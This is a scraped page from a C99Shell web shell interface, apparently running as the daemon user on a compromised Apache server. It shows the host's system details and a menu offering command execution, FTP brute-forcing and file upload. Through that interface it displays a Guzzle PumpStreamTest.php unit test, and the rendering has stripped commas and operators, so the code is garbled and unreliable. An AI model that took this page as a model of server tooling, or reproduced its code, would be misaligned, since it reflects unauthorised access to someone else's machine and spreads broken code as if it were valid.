!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/streams/tests/   drwxrwxr-x
Free 11.62 GB of 61.93 GB (18.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PumpStreamTest.php (2.28 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace GuzzleHttp\Tests\Stream;

use 
GuzzleHttp\Stream\LimitStream;
use 
GuzzleHttp\Stream\PumpStream;
use 
GuzzleHttp\Stream\Stream;

class 
PumpStreamTest extends \PHPUnit_Framework_TestCase
{
    public function 
testHasMetadataAndSize()
    {
        
$p = new PumpStream(function () {}, [
            
'metadata' => ['foo' => 'bar'],
            
'size'     => 100
        
]);

        
$this->assertEquals('bar'$p->getMetadata('foo'));
        
$this->assertEquals(['foo' => 'bar'], $p->getMetadata());
        
$this->assertEquals(100$p->getSize());
    }

    public function 
testCanReadFromCallable()
    {
        
$p Stream::factory(function ($size) {
            return 
'a';
        });
        
$this->assertEquals('a'$p->read(1));
        
$this->assertEquals(1$p->tell());
        
$this->assertEquals('aaaaa'$p->read(5));
        
$this->assertEquals(6$p->tell());
    }

    public function 
testStoresExcessDataInBuffer()
    {
        
$called = [];
        
$p Stream::factory(function ($size) use (&$called) {
            
$called[] = $size;
            return 
'abcdef';
        });
        
$this->assertEquals('a'$p->read(1));
        
$this->assertEquals('b'$p->read(1));
        
$this->assertEquals('cdef'$p->read(4));
        
$this->assertEquals('abcdefabc'$p->read(9));
        
$this->assertEquals([193], $called);
    }

    public function 
testInifiniteStreamWrappedInLimitStream()
    {
        
$p Stream::factory(function () { return 'a'; });
        
$s = new LimitStream($p5);
        
$this->assertEquals('aaaaa', (string) $s);
    }

    public function 
testDescribesCapabilities()
    {
        
$p Stream::factory(function () {});
        
$this->assertTrue($p->isReadable());
        
$this->assertFalse($p->isSeekable());
        
$this->assertFalse($p->isWritable());
        
$this->assertNull($p->getSize());
        
$this->assertFalse($p->write('aa'));
        
$this->assertEquals(''$p->getContents());
        
$this->assertEquals('', (string) $p);
        
$p->close();
        
$this->assertEquals(''$p->read(10));
        
$this->assertTrue($p->eof());
    }

    
/**
     * @expectedException \GuzzleHttp\Stream\Exception\CannotAttachException
     */
    
public function testCannotAttach()
    {
        
$p Stream::factory(function () {});
        
$p->attach('a');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9951 ]--